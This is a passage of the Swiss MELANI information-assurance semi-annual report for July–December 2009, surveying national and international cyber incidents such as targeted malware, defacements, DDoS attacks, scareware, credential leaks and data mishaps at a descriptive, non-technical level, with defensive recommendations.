Information Assurance

Situation in Switzerland and Internationally

Semi-annual report 2009/II (July – December)
Contents

1  Focus Areas of Issue 2009/II .................................................................3
2  Introduction ..........................................................................................4
3  Current National ICT Infrastructure Situation ........................................5
   3.1  FDFA targeted by malware...............................................................5
   3.2  Website defacements after adoption of minaret ban initiative ............5
   3.3  DDoS attacks against Swisscom and Swisscom clients .......................6
   3.4  Fraud with fake domain registrations...............................................7
   3.5  Purported free offers against viruses, scareware, rogueware and ransomware 8
   3.6  New top level domains (TLD) and high security zones in the Internet ....10
   3.7  Revision of provisions implementing the Telecommunications Act .......10
   3.8  Skype wiretap published as source code .......................................11
4  Current International ICT Infrastructure Situation ..................................11
   4.1  Publication of access data for e-mail accounts of various providers ....11
   4.2  DDoS attacks...................................................................................12
   4.3  Hack in the run-up to the climate conference ....................................14
   4.4  Power failure in Brazil and virus at power utility in Australia ............14
   4.5  Drive-by infection via "not found" page..........................................16
   4.6  Protection of personal and confidential data (data mishaps) ...............16
   4.7  BKA strike against Internet scammers a major success ....................18
   4.8  Enterprises often prioritize the wrong security updates .....................18
   4.9  Federal centre for combating botnets throughout Germany ..............19
5  Trends / Outlook ..................................................................................20
   5.1  Information theft and the underlying economy – Attacks on EU, climate advocates, Google, banks and other .....................................................20
   5.2  In a globalized world, information assurance concerns everyone ...........21
   5.3  Frequency of attacks on Swiss e-banking systems compared with other countries ............................................................23
   5.4  Infections via social networking ......................................................23
6  Glossary ...............................................................................................25
7  Appendix ..............................................................................................29
   7.1  Detailed analysis of Koobface ..........................................................29
   7.2  Insights into Russian hacker forums .................................................32
1 Focus Areas of Issue 2009/II

Information theft – Attacks against EU, climate advocates, Google, banks and others
In recent months, numerous attacks were reported in which malware or insider access to computer systems of individuals, administrations and enterprises were used to steal and subsequently sell data, offer them to the media or misuse them for other purposes. The most prominent examples in the media were the attacks on Javier Solana and the General Secretariat of the EU, the stolen e-mails of various climate researchers shortly before the climate summit, the bank client data from HSBC, and the attacks on Google, Adobe and other companies in December 2009.
► Current situation in Switzerland: Chapter 3.1
► Current situation internationally: Chapter 4.1, 4.3
► Trends 5.1

Political hacking after adoption of the minaret ban
In the aftermath of the vote on the minaret ban initiative, several thousand Swiss websites were defaced with political and religious statements. Website defacements are nothing new. More and more, however, the Internet is emerging as the primary or quickest outlet for political and religious protests. This is also seen in the DDoS attack against a Georgian blogger on the first anniversary of the offensive in Georgia.
► Current situation in Switzerland: Chapter 3.2
► Current situation internationally: Chapter 4.2

Protection of personal and confidential data
The protection of personal and confidential data is of the utmost priority in the digital age. Despite this, cost pressure, inattentiveness, lack of employee training, insufficient information assurance processes, and bad configurations repeatedly result in unwanted data leakage.
► Current situation internationally: Chapter 4.6

DDoS attacks for various purposes
DDoS attacks against enterprises and governments are committed with various motives. The perpetrators either are trying to extort money by simple means, block political opinions (► Current situation internationally: Chapter 4.2), eliminate competitors (► Current situation in Switzerland: Chapter 3.3) or lure clients to the "right" offer (► Current situation internationally: Chapter 4.7).

Frequency of attacks on Swiss e-banking systems compared with other countries
Several financial service providers are using new, additional security solutions and have expanded their infrastructure so that criminal interest is waning. Various underground forums in Russia are even recommending against attacks in Switzerland, since online banking is too complex or the benefits are too limited.
► Chapter 5.3 and Appendix 7.2
2 Introduction

The tenth semi-annual report (July – December 2009) of the Reporting and Analysis Centre for Information Assurance (MELANI) presents the most significant trends involving the threats and risks arising from information and communication technologies (ICT). It provides an overview of the events in Switzerland and abroad, illuminates the most important developments in the field of prevention, and summarizes the activities of public and private actors. Explanations of jargon and technical terms (in italics) can be found in a Glossary (Chapter 6) at the end of this report. Comments by MELANI are indicated in a shaded box.

Selected topics covered in this semi-annual report are outlined in Chapter 1.

Chapters 3 and 4 discuss breakdowns and failures, attacks, crime and terrorism connected with ICT infrastructures. Selected examples are used to illustrate important events of the second half of 2009. Chapter 3 covers national topics, Chapter 4 international topics.

Chapter 5 discusses trends and contains an outlook on expected developments.

Chapter 7 is an Appendix with expanded explanations and instructions on selected topics covered in the semi-annual report.
3 Current National ICT Infrastructure Situation

3.1 FDFA targeted by malware

The Federal Department of Foreign Affairs (FDFA) was targeted by a professional virus attack. On 14 October 2009, a problem occurred on an FDFA server. The subsequent analysis by Microsoft found inconsistencies and third-party code. The FDFA then informed the Federal Office of Information Technology, Systems and Telecommunication (FOITT) and the Reporting and Analysis Centre for Information Assurance (MELANI) for initial inquiries. These inquiries showed that the FDFA had been targeted by a professional malware attack. Unknown perpetrators employed special software for this attack to penetrate the IT infrastructure of the department and to obtain targeted information. The malicious software was hidden very well and initially caused hardly any perceptible disruption of the IT infrastructure.

As an emergency measure, the FDFA isolated its IT network from the Internet for several days. This was done to prevent data flowing to the outside and any manipulation of the IT infrastructure by third parties. This measure also affected various services, such as issuing of visas. In addition to FDFA IT specialists, experts from the FOITT and MELANI also participated in solving the technical challenges and in the investigations. The Office of the Attorney General initiated a criminal investigation of this matter.

Attacks with malware are common nowadays. The various perpetrators vary the method of attack depending on their objective, motivation and know-how. Malware for the purpose of obtaining login and password data, for instance, is often broadly disseminated. This entails that enterprises or administrations may receive malware-infected e-mail even if they are not the main focus of the perpetrators. Such incidents are more the rule than the exception and are hardly ever successful or are discovered relatively quickly. If the goal is to attack a specific person or enterprise or administrative unit, only a certain circle of persons is attacked in a targeted manner. In the abovementioned case, it can be assumed that the perpetrators were in fact targeting the Federal Administration. Accordingly, the Office of the Attorney General initiated proceedings on suspicion of unlawful intelligence services. Until the investigations are concluded, no further information can be provided on the possible perpetrators or the scope of the attack. Speculations to this effect voiced by private parties over the last few months can therefore neither be confirmed nor denied.

3.2 Website defacements after adoption of minaret ban initiative

In the aftermath of the popular vote on the minaret construction ban, various Swiss websites were defaced. A defacement generally exploits vulnerabilities on webservers in order to change the homepage. In one of the first cases directly after the vote, about 300 pages of a Bernese hosting provider were affected, including – according to the provider – websites of local sections of various political parties. The modified homepages included the text: "You see ! No need to ban Mosque minarets and be pretty sure that islam will grow up all over the world !", a clear reference to the minaret construction ban. As usual, the page was signed with a hacker pseudonym, in this case "r0ver for Wizardz". The website was modified using a common defacement style, which indicates that the perpetrators have been active in the hacker scene for some time. Even though most of the server vulnerabilities were
probably found randomly, at least one group of hackers appears to have focused on websites of the SVP party.

"Zone-h", a service that publishes website defacements, has registered nearly 5,000 defaced Swiss websites since 30 November 2009. Most of these were mass defacements, i.e. a single attack affected several sites. At the end of December, the figures declined again.

Website defacements as an expression of a political, sporting or religious outlet are nothing new. In November 2005 for instance, after a play-off match against Turkey in which Switzerland qualified for the football World Cup, there were fierce reactions on the Internet. Numerous forums located on Swiss servers were attacked and websites were defaced. Slogans appeared such as "Welcome to hell" and "Made in Turkey". On one of the websites, the Turkish national anthem and quotes by Atatürk were uploaded. Suspected Turkish hackers also manipulated the website of the Croatian foreign ministry during the Croatia-Turkey match at Euro 08. Instead of the original text, a Turkish flag was displayed.

3.3 DDoS attacks against Swisscom and Swisscom clients

Unknown perpetrators have been targeting Swiss sex sites for months using Distributed Denial of Service (DDoS) attacks. Such cases have also been reported to the Reporting and Analysis Centre for Information Assurance (MELANI). In a DDoS attack, thousands of computers simultaneously access a certain website, which breaks down due to the enormous flood of inquiries and can no longer be accessed.

In mid-June 2009, two DDoS attacks were registered on Swisscom's IP-Plus network. The objective was to force Swisscom to evict an Internet provider specializing in sex sites from its network. Because of the enormous increase in data traffic – which also affected other providers throughout Switzerland – about 20 other Swisscom clients were affected by the attack. Some websites could no longer be accessed for a short period of time. The contract with the client targeted by the attack was cancelled. The main consideration was to protect the interests of other Swisscom clients. DDoS attacks directly targeting a website often also affect other sites located on the same server or network. Swisscom has filed criminal charges against the unknown perpetrators.

DDoS attacks against Swiss pornography sites are well known. Already in autumn 2007, various sites including sexy-tipp.ch were attacked using a botnet. Although the owners switched providers several times, the portal was unavailable for several months. Other websites associated with the Zurich brothel scene suffered the same fate. The website happysex.ch, for instance, was unavailable for several months due to DDoS attacks, according to the operator. In the abovementioned case, the attackers apparently did not target the sex sites directly, but rather attacked the provider's infrastructure in order to induce the provider to cancel website hosting for the client in question.

Competitors in the Swiss sex business fight with no holds barred. It is certainly possible that a rival is behind the attacks. It is also conceivable, however, that the attacks were perpetrated on moral grounds.

As a general rule, such attacks are a cause for great concern, due to the collateral damage attackers carelessly accept. Since the attacks do not always target a specific goal, generally a website, but rather the underlying infrastructure of the hosting provider, other websites and networks are affected as well. In the best case, this results only in financial losses for the uninvolved parties, but in the worst case, far more critical processes dependent on the attacked network are disrupted or interrupted.
3.4 Fraud with fake domain registrations

In the second half of 2009, MELANI was notified of various cases in which fake domain registration applications were sent to companies. The letters or e-mails referred to existing and active .ch domains. The professionally designed registration applications were made out for other domains such as .net, .biz or .eu. They gave the impression that the domains had already been registered or ordered by the company in question, but that payment was still pending. The amounts demanded for the domains were unusually high. In the example below, the recipient was called on to pay 259 euros per year for three domains, which is equivalent to nearly 400 Swiss francs. By comparison: a .ch domain costs CHF 17 per year. Whether the domains were actually registered by the company after payment could not be ascertained by the Reporting and Analysis Centre for Information Assurance.

This type of fraud is not new. Until now, however, it was mainly known for entries in dubious address directories. A commonality in both cases is that companies were the main recipients. The letters gave the impression that an order/registration had already been made by the recipient company, or that an existing contract was due for renewal. The perpetrators speculated that the person processing the letter would deem it authentic and make the payment without inquiring further.
3.5 Purported free offers against viruses, scareware, rogueware and ransomware

Supposedly free virus scanner offer by e-mail

On Wednesday, 5 August 2009, e-mails were circulated by a purported virus warning service with the subject line "Virus warning for 'recipient' – your computer is not protected", calling for download of a supposedly free virus scanner. The e-mail referred to the German Federal Office for Information Security (BSI) and warned of especially dangerous malware. The recipient was asked to click on a link in order to install the virus scanner offered on the associated website. The website actually led to a paid subscription for downloading an otherwise free anti-virus software programme, however. The BSI dissociated itself from this notice and indicated that the BSI was not currently issuing any explicit warnings about especially dangerous viruses. The e-mails were mainly sent to German recipients, but also Swiss recipients notified the case to the Reporting and Analysis Centre for Information Assurance (MELANI).

Specifically, the link led to an offer by the online service Mix-Download.com belonging to First Level Communication Ltd. Users were promised the free version of Avira Antivir, for which one first had to complete a form, however. While there was a notice that "By clicking on the 'Register' button, you will incur costs of 96 euros including VAT per year (12 month at 8 euros per month). Duration of contract 2 years.", this notice was coloured grey and easy to overlook.

Numerous offers are currently circulating around the Internet which appear free at first glance. These offers aim to induce Internet users to conclude a contract or order a service quickly, without clearly indicating the costs or other contractual terms. Once such a "contract" is concluded, payment reminders and collection threats are sent out to intimidate the client. The State Secretariat for Economic Affairs (SECO) has already issued an information brochure on this topic[1]:

Until now, the perpetrators have mainly attempted to lure Internet users to such sites via search engine results. After entering specific keywords, the offers appear at the top of Google search results. Now the attempt is apparently being made to reach users via e-mail.

Scareware – Intimidation with bogus anti-virus programmes

Another game cybercriminals play to harass unsuspecting Internet users is the use of so-called scareware. This is software intended to make computer users nervous or fearful. Usually, these are bogus anti-virus programmes leading users to believe that their computer has been infected with malware.[2] To remove this malware, a paid version of the programme must be acquired.[3] The layout of the user interface and the notifications sent by the scareware typically look very much like serious anti-virus programmes, so that the untrained user will hardly spot the difference.[4] There are many different scareware variants: some try to draw attention with an advertisement or animation on a website or with a simple pop-up window, inducing the user to manually download the programme; others use drive-by

downloads to install themselves directly on the computer. Another attack vector may be infected e-mail attachments. Once a scareware programme has been installed, it can hardly ever be removed again. It regularly reports dangerous infections and calls on the user to buy the full version or to pay for registration of the supposed anti-virus programme. The scareware may also turn the computer into part of a botnet, however.

So far, most scareware programmes have been in English. The success that cybercriminals have will likely lead them to offer more language versions, however. The same development has been seen with phishing e-mails as well.  

MELANI recommends using anti-virus software only from well-known and serious providers and to download the software directly from the manufacturer's site. Users should never click on links they receive by e-mail from unknown senders.

Rogueware

Rogueware is malware attempting to induce users to make "voluntary" payments by scaring them, deceiving them, or causing inconveniences when using the computer. By making bogus claims, users are urged to buy software or a licence that supposedly will protect them from non-existent threats, but actually only frees them from the effects of the rogueware. The design of the programme is often very professional, so that many users do not ever realize that they have been victimized by criminals.  

If a credit card is used to pay for the product offered, the perpetrators can additionally misuse and/or sell this data. If personal data such as mailing address, data of birth, etc., are disclosed during the "registration" process, the data can also be used for identity theft.

Ransomware

A special kind of rogueware alongside the abovementioned scareware is "ransomware". Such malware encrypts data on the computer (often in the "My files" folder) and demands payment for decryption, or Internet access is restricted or blocked entirely until the victim pays a ransom. Since this method is clearly recognized as a criminal act, the extortionist is in danger of being discovered and prosecuted. For this reason, methods similar to the bogus anti-virus programmes are increasingly being used: the ransomware encrypts selected files (generally Office documents, videos, music and photos) and purports to be a repair programme that has found "corrupted files" on the computer. A manual check of the files shows that they can in fact no longer be opened. To repair (i.e. decrypt) the files, a full version must be bought or a licence purchased through registration.

Serious anti-virus programmes generally identify such malware. In order to protect one's computer from data loss nonetheless, it is recommended that users make regular backups of important data onto an external data carrier (CD, DVD, external hard drive, etc.).

---

6 http://www.pcwelt.de/start/sicherheit/antivirus/news/2106557/scareware-im-windows-7-look/
7 http://www.igi-global.com/downloads/excerpts/7647.pdf
8 http://www.theregister.co.uk/2009/12/01/ransomware_turns_off_net_access/;
9 http://www.tecchannel.de/sicherheit/news/2025028/trojaner_verschluesselt_daten_und_verlangt_loesegeld/;
3.6 New top level domains (TLD) and high security zones in the Internet

The Internet Corporation for Assigned Names and Numbers (ICANN) would like to create the option of registering arbitrary new top level domains (TLDs) in addition to the existing .com, .net, etc. (such as .berlin, .rumantsch, .google or .bank).  

The option is also planned to voluntarily declare such a TLD as a high security zone. To be certified as a high security zone, the domain operators must be able to meet various security and verification requirements. In return, a signet recognizable to users may be included on websites in this domain. The goal of this measure is to show users that they are dealing with serious and traceable business partners. It is thus a measure to make e-commerce more trustworthy, in part because qualitatively better data would be available for the investigation of illegal activities. MELANI attended the ICANN meeting in October 2009 and, together with its UK and US colleagues, welcomed the introduction of such zones.

Historically, the Internet community defines its priorities according to the technical operability of the network and the free exchange of information while preserving the anonymity of those involved. The concerns of consumers are only taken account to a limited extent, and measures that might "threaten" the anonymity of users are considered only very hesitantly. Costly control mechanisms also meet with great resistance. It is therefore important that consumer protection bodies and law enforcement authorities increasingly participate in the self-regulation bodies of the Internet to ensure that the concerns of simple Internet users are taken into greater account.

3.7 Revision of provisions implementing the Telecommunications Act

Effective 1 January 2010, various provisions implementing the Telecommunications Act have been revised. In the course of these revisions, the Ordinance on Addressing Resources in the Telecommunications Sector (OARTS, SR 784.104) was amended to include the new article 14f bis “Blocking of a domain name on suspicion of misuse”. This new article provides for short-term blocking of a domain name if there is a suspicion that the domain name is used to obtain sensitive data by unlawful means (especially phishing) or to distribute malicious software. Since these forms of crime require an immediate response to protect victims, authorities recognized by the Federal Office of Communications as engaging in combating cybercrime may apply for the register operator to block the domain name.

A new paragraph 3 bis has also been introduced in article 14f OARTS. Under this provision, Swiss authorities intervening within the scope of their responsibilities may require the owner of a domain to provide a valid correspondence address in Switzerland via the register operator if none is available. If the owner does not respond to this demand within 30 days, the register operator must revoke the domain name in question. If a correspondence address is provided, it may be used as a nexus for local criminal jurisdiction in Switzerland.

---

These changes were also suggested by the Reporting and Analysis Centre for Information Assurance (MELANI). The top level domain ".ch" was not considered to be sufficient as the sole nexus for application of Swiss law or for placement of the matter under Swiss jurisdiction, for instance in the event of violations of the Unfair Competition Act (UWG, SR 241), the criminal provisions against racial discrimination (Art. 261 11/37 Criminal Code) or the youth protection provision in Art. 197 para. 1 Criminal Code (making pornography available to persons under the age of 16). As a consequence, nothing could be done against racist statements on .ch websites, for instance, if the registrant of the domain had an address in the United States and the server was located there as well, since in such cases the US would not provide mutual legal assistance in light of the nearly unlimited freedom of expression there. Moreover, Swiss pornography providers were at a competitive disadvantage, since they had to install access restrictions under the .ch domain while their foreign competitors did not.

3.8 Skype wiretap published as source code

At the end of August 2009, a Swiss software developer published the source text of a programme for tapping into Skype communications. For this purpose, the programme is smuggled onto a computer as a Trojan and copies the audio data of these conversations, loading them as MP3 files onto a defined server. This Trojan also has a self-destruction function. The person publishing the source code was himself involved in the development of the Trojan and is an employee of the manufacturer ERA IT Solutions. In 2006, it became known that the federal government had also tested using such a Skype Trojan. The motive for publishing the source code now was apparently that the developer wanted to shed more light on this dark topic. In December, the software developer modified the source code of the wiretap Trojan for Skype 4 and again published the incomplete source code. The missing parts will be supplied at a later time.

Since Skype encrypts communication between two participants, it is not easy for law enforcement to wiretap conversations for a criminal investigation – unlike in the case of land lines and mobile phones. Criminals can exploit this fact and prefer holding their conversations on channels that the police cannot access. If a Skype conversation is to be tapped, it is necessary to install software on one of the computers of the two conversation partners.

As in the case of a zero-day vulnerability, the publisher of such source code should conduct a cost-benefit analysis here as well to assess whether the benefit of disclosure and of any pressure on the authorities or on software manufacturers is greater than the risk that previously confidential knowledge could now also fall into the hands of criminals.

4 Current International ICT Infrastructure Situation

4.1 Publication of access data for e-mail accounts of various providers

On a website normally used by software developers to exchange programme code, a list with more than 10,000 sets of access data for mainly European e-mail accounts of Microsoft e-mail services (hotmail.com, msn.com, live.com) was published. One week later, another list was published – with more than 20,000 datasets. In addition to data for accessing Microsoft services, this list also contained information on accounts with Yahoo, AOL, Gmail and other
providers. According to Microsoft, the data was probably collected from a major phishing attack, not by breaking into the provider's servers. Google also emphasized that the data did not stem from an attack on its systems. To prevent misuse, both providers reset the passwords of the affected accounts and blocked access to the accounts as a preventive measure. To regain access to the accounts, users had to complete and submit a verification form. It is unclear whether both lists are from the same phishing attack. In light of the numerous phishing e-mails still being observed, it can be assumed that many such lists exist and that the relevant information is also traded.

As MELANI already recognized in its semi-annual report 2008/II, a shift in phishing attacks can be observed. While in the past primarily services of financial institutions (e-banking) were attacked, Internet services of all kinds are now affected. Successful phishing mainly occurs where access "only" requires a login with password. Last year, various phishing attempts against Swiss Internet service providers were already observed (bluewin, autoscout24, ricardo, etc.).

The cybercriminals have noticed that such data gives them access to further interesting information and rights and that they can make money with them. The attackers' targets are therefore generally not the account owners. The accounts are only a means to an end and are misused for the preparation and/or execution of criminal acts, for instance by presenting oneself as a different person to exploit a high auction account rating or to infect websites with drive-by infections. The fact is that not only the e-mail or Facebook account of a person is of interest, but rather far more the person's contacts. In future, not only e-mail addresses will be collected, but also the contacts with other persons will be listed in detail. The goal is to tailor an e-mail as precisely as possible to a potential victim, so that the victim will click on an attachment or carry out another action.

The call to never disclose one's login data thus continues to be valid and should be expanded to include all password-protected services. Since users often use the same password for various services, phishers may also use it to gain access to other accounts. We recommend choosing different passwords for each account and changing them regularly.

### 4.2 DDoS attacks

On 4 July 2009, various waves of DDoS attacks commenced against South Korean and US websites. The attacks targeted at least 35 government and commercial websites, including the sites of the Federal Trade Commission, the Departments of Defence, the Treasury, and Transportation. According to the Security Company Bkis\(^\text{14}\), the botnet behind this attack is said to have been distributed as usual across different countries, while a large share was located in South Korea itself. The network was controlled by eight command & control servers, which sent a list to their bots every three minutes with the URLs to be attacked. The size was estimated to be 60,000 computers. On 9 July, the attacks receded and focused only on individual Korean websites, once the major US Internet service providers had begun to filter or block the malicious traffic.

According to information provided by the Korean Information Security Agency, the responsible malware was a variant of the Mydoom worm – a worm that has been in circulation since 2004 originally.\(^\text{15,16}\) On each infected computer, the worm downloaded a file

---

\(^{14}\) Bkis is a security firm headquartered in Hanoi

named "mstimer.dll", installing it as a Windows service. This programme functioned as a timer and was set to issue an instruction for launching the programme wversion.exe on 10 July, which would uninstall the Windows service again and erase any traces. Shortly before 10 July, however, this file was exchanged and replaced by a file with considerably more destructive potential. In this version, the first 512 bytes of every hard disk were overwritten with the text "memory of the independence day". This destroyed the master boot record and the volume boot record, so that the affected computer could no longer be booted. Subsequently, files with various endings – including .pdf, .doc and .ppt – were protected by passwords and made unusable for the user. Access to servers for downloading this new malware was blocked. The South Korean Emergency Response Team reported that, despite the countermeasures seized, some computers had destroyed themselves.

In light of the targets, North Korea was initially suspected of being behind the attacks. US intelligence services initially announced that these attacks had to have been carefully planned at the level of a state or group. This suspicion could never be substantiated or confirmed, however. The fact that well-known malware was used does not support the theory that the action was planned by a professional group, but rather that an existing botnet was rented and adapted for the intended purposes. It will be practically impossible to determine the real perpetrators of this DDoS attack, however.

On 6 August 2009, DDoS attacks against Twitter, Facebook, LiveJournal and various Google sites were observed. Twitter reported several hours of disruption, but also LiveJournal and Facebook users had to show patience. The attack apparently was not targeting operators of the social networks, however, but rather a Georgian blogger who has accounts on these various networks. The pseudonym "Cyxymu" is used by a 34-year-old economics instructor in the Georgian capital of Tbilisi whose blog entries express criticism of the Russian policy in the Caucasus. 7 August 2009 was the first anniversary of the Georgian offensive against Russia. Russian hackers have been suspected to be behind the attack.

The previous day, thousands of spam e-mails supposedly in the name of Cyxymu had been sent out with links to his pages on Twitter, Facebook and YouTube. The perpetrators may have speculated that the operators of these platforms would close down the pages in light of these spam e-mails. Since the operators did not respond this way, the observed DDoS attacks were possibly a further attempt to limit access to these pages.

Although the attack did not directly target the operator of a social network, but rather a specific individual, Twitter was disrupted for several hours. As the example in Chapter 3.3 "DDoS attack against Swisscom" shows, collateral damage is taken into account by the attacks. The services and offerings of uninvolved parties are also put at risk. Without appropriate measures this leads to financial loss or even disruptions of critical processes in their businesses.

17 http://www.spiegel.de/netzwelt/tech/0,1518,635399,00.html (as of: 14.02.2010).
4.3 Hack in the run-up to the climate conference

Shortly before the beginning of the Copenhagen climate conference in December 2009, an unencrypted archive file mainly containing e-mail traffic between climate researchers affiliated with the Climatic Research Unit (CRU) of the University of East Anglia in the UK was published on a climate research website (realclimate.org) and linked with another climate research website (climateaudit.org). The file was not published by the operators of the website, however, but rather by unknown third parties. Possibly, the e-mails in question contained a password for access to the realclimate.org website which was then used by the perpetrator. The file was downloaded four times before the operators were able to remove it. These individual publications and few downloads were sufficient for the file to spread throughout the network, however: it can now be found on various whistleblower sites and P2P networks and will be stored forever in the memory of the Internet.

It is not entirely clear how the data originally leaked out of CRU. According to initial information, an e-mail server in the institute was hacked. It is also possible, however, that an insider with access took possession of the data and published it. According to statements by those involved, the perpetrator must have had solid expertise in the field of climate research and known the "scene" well in order to compile these documents.

One can only speculate whether the goal was to discredit individual climate researchers or whether the publication was intended to heat up the debate about global warming and its causes (human or nature). The file was uploaded via a proxy server, and the link to the file was also entered via proxy servers. This approach for concealing the identity of the perpetrator does not require thorough IT knowledge but is a very efficient way to cover up one's tracks.

4.4 Power failure in Brazil and virus at power utility in Australia

A far-reaching power failure hit Brazil on 11 November 2009. The cities of São Paulo and Rio de Janeiro were completely without power for several hours, and Paraguay also experienced a brief power cut. Tens of thousands of people were stuck in elevators, subways and trains. Evacuations were difficult since the telephone system for the fire department and civil protection overloaded and broke down shortly thereafter. The mobile phone network also overloaded at first and broke down completely when its emergency power supply also failed. Various speculations immediately surfaced concerning the origins of this incident. One theory was that it had been caused by a hacker attack.

According to a recent television report by the US channel CBS, there were indicators of hacker attacks in two previous power cuts in Brazil in 2005 and 2007. Various authorities disputed the accuracy of these indications, however. There were likewise no indications of a hacker attack in the current cut, although some vulnerabilities in the system and possibilities for manipulation were identified\(^\text{21}\). Instead, it should be assumed that the power failure was a chain reaction, as has already been observed in the case of several major cuts. Examples include the power cut in parts of Western Europe triggered by deactivation of a power line above the German river Ems to allow a new cruise ship to pass\(^\text{22}\). The main problem often


\(^{22}\) [http://www.spiegel.de/panorama/0,1518,446546,00.html](http://www.spiegel.de/panorama/0,1518,446546,00.html) (as of: 14.02.2010).
lies in the concentration points through which a major part of electricity must flow. When these points are disrupted, chain reactions may arise that can expand to the entire grid.

Interesting in this regard is that at the time of the major power failure in Brazil, the largest hydroelectric power plant in Brazil, in Itaipu, was not running. It is possible that a short circuit in the grid triggered the chain reaction. Apparently, the Brazilian power grid was then temporarily unable to support the 14 gigawatts generated by the power plant, so that the power plant had to be deactivated. Electricity generation in Brazil is concentrated on a few large hydroelectric plants. Whether bad weather may have affected the high-voltage lines leading away from the power plant, thus triggering a transmission error, could not be confirmed.

On 19 and 20 November 2009, the Swiss Federal Administration carried out a two-day drill on the topic of "power cuts and shortages". The Federal Council, its staff, and the management bodies of the departments and offices dealt with the potential effects of a power shortage extending over several months – coupled with a power cut – on the federal government, the cantons, the private sector, society, and international relations. The main objectives of the drill were to verify management organization, interdepartmental cooperation, and information and communication.

An incident also occurred in Australia on 30 September 2009 which fortunately did not have serious consequences. The network of Australian energy supplier Integral, which powers the states of New South Wales and Queensland, was hit by the worm W32.Virut.CF. It is unclear how the worm entered the network and why it was not discovered, even though Symantec says it has been known since 4 February 2009. Since power cuts occurred in some areas, speculation was voiced that the virus may have jumped over to the control network. This was not officially confirmed, however. According to the operator, the SCADA system of the power grid runs on Solaris Unix and was therefore not vulnerable to the Windows worm. According to an entry on Slashdot, the worm allegedly still made it to the display in the control room, which was running on Windows and used X Windows to access the Unix environment. To prevent further infections, these Windows machines have been replaced with Unix systems. According to the Sydney Morning Herald, about 1,000 computers in the enterprise had to be cleaned.

Administration and control networks are normally separate. Whether this was also the case at Integral is unknown. Economic pressure always leads to harmonization of systems so that not only individual components, but increasingly also entire substations are remote-controlled and operated without staff. Continuous network technology also simplifies the common management desire to connect the business network with the control network. The various security demands and possibilities must definitely always be taken into account, however.

As mentioned in the last semi-annual report, smart grids are said to be vulnerable to attacks. The US government has now published a draft on how to make the future power grid more secure. The draft contains various demands on smart grids in terms of integrity, availability and confidentiality. Organizational processes such as handling of documentation and dealing with security problems and incidents are also covered.

4. Drive-by infection via "not found" page

In the last two semi-annual reports, we reported extensively on drive-by infections. In the second half of 2009, MELANI discovered a perfidious variant. Instead of manipulating the homepage or other frequently accessed page and infecting it with malware, the attackers focused on the 404 error page of the website. When a non-existent page is called up, the browser generally refers the user to a standard page indicating that the desired page does not exist.

In this case, the perpetrator placed the drive-by infection on precisely this error page. When calling up a fictitious, non-existent page, the user is diverted to the manipulated error page and infected. Such fictitious links are then broadly disseminated. The advantages for the attacker are obvious. When such a page is recognized and reported to the competent authorities, the authorities say that the page has already been deleted. The obligatory 404 error code is even generated, so that analysis tools consider the page to have been deactivated. Only upon closer inspection of the source text does one see that additional malicious code has been included.

4.6 Protection of personal and confidential data (data mishaps)

SchülerVZ – automated query using an insufficiently secure interface

More and more personal data is being stored on social networks. Social networks promise privacy if one protects the data properly. Nevertheless, mishaps occur time and again that lead to the theft of data. One example that hit the headlines in the second half of 2009 was data theft at "schülerVZ". Using an automated query via an insufficiently secure interface, a 20-year-old computer freak picked out data by means of a "cross-site request forgery". Nearly 3 million datasets containing personal profile data such as ages, schools and profile pictures were systematically collected. The 20-year-old claimed that this was merely a "just4fun" project and negotiated the return or deletion of the data with the schülerVZ operators. He travelled directly to the headquarters of VZ in Berlin to speak with the responsible parties. The two sides described the exact nature of the negotiations differently, however. They apparently discussed money, but it is not proven that blackmail was involved. In any event, the 20-year-old was taken into pre-trial detention by the police after these negotiations. The suspect then commented suicide in his cell in the juvenile detention facility.

Also on the children's portal haefft.de, private data of thousands of children and young people could apparently be accessed by anyone over a certain period of time. Without knowledge of a password, one could pretend to be a registered child, view data and even access administrator accounts.

Social networks have changed our lives and are trendy and useful. Especially in the case of children, however, it is problematic and dangerous when personal data intended only for friends is suddenly made accessible to everyone. Schools and parents should therefore address the topic of data security already at an early age.26

Information Assurance – Situation in Switzerland and Internationally

Sensitive US data on P2P networks

According to a report by Tiversa\textsuperscript{27}, confidential data of the US government surfaced on P2P networks, including military duty rosters, evaluation plans for the president, and technical data on aircraft used by the president. The data was apparently circulated because federal employees or individual contract partners had installed P2P software on their computers and specified the wrong release settings. The question that arises is whether such software is even necessary and permitted at the workplace and why P2P networks are not generally banned. It is clear that the use of such programmes can lead to substantial problems if they are used incorrectly. Based on this report, calls were voiced to pass a law banning P2P programmes on computer networks in the federal government or at least requiring employees to be sensitized with respect to this danger.

P2P programmes do not even have to be installed on employer computers, as the following example of the House Ethics Committee shows. In that case, a staff member had saved confidential documents on his private computer in order to read and edit them at home. The P2P software installed on his computer made the documents accessible to everyone.\textsuperscript{28}

As the example above shows, it is important to install technical safeguards and prohibit P2P applications in sensitive networks. However, this alone is not sufficient if employees are not trained to exercise caution on private computers as well, especially when company data is processed on private computers. Precise guidelines can certainly help minimize the danger.

It should not be forgotten, however, that restrictions relating to IT security usually also entail restrictions of efficiency and may in extreme cases overwhelm employees. In such situations, a balance must be created, since experience shows that restrictive measures and IT security may induce employees to circumvent them in violation of the guidelines.

Austrian patient data tapped

In Austria, emergency services are alerted using a pager network called POCSAG. This unencrypted signal also contains the full name of the patient, the emergency location, and a publically accessible code for the initial diagnosis\textsuperscript{29}. A considerable amount of confidential data comes together in this way. An Austrian systematically tapped, recorded, and collected this data to make politicians and responsible officials aware of this fact. Subsequently, however, the server was hacked on which he had saved the data. In theory, emergency services have switched to the inception-proof TETRA system. But in practice, notifications are still sent using the pager network, since the new system has not been introduced everywhere yet for reasons of costs.

Hundreds of thousands of credit cards exchanged

A serious data mishap concerned the credit card sector. Hundreds of thousands of credit cards had to be exchanged after a data leak was discovered. A credit card processor in Spain was suspected. Apparently all cards affected by fraud were used in Spain in the spring and summer. German banks subsequently launched a major recall. As a preventive measure, 100,000 clients received a new credit card. To a minor degree also Swiss credit

\textsuperscript{27} http://news.cnet.com/8301-10787_3-10184785-60.html (as of: 14.02.2010).

\textsuperscript{28} http://www.washingtonpost.com/wp-dyn/content/article/2009/10/30/AR2009103003749.html?sub=AR (as of: 14.02.2010).

\textsuperscript{29} http://www.leitstelle-tirol.at/fileadmin/user_upload/downloads/100105_LT_Einsatzcodes_RD.pdf (as of: 14.02.2010).
card holders were affected by the data theft. Unlike Germany, however, no major recall was launched in Switzerland.

4.7 BKA strike against Internet scammers a major success

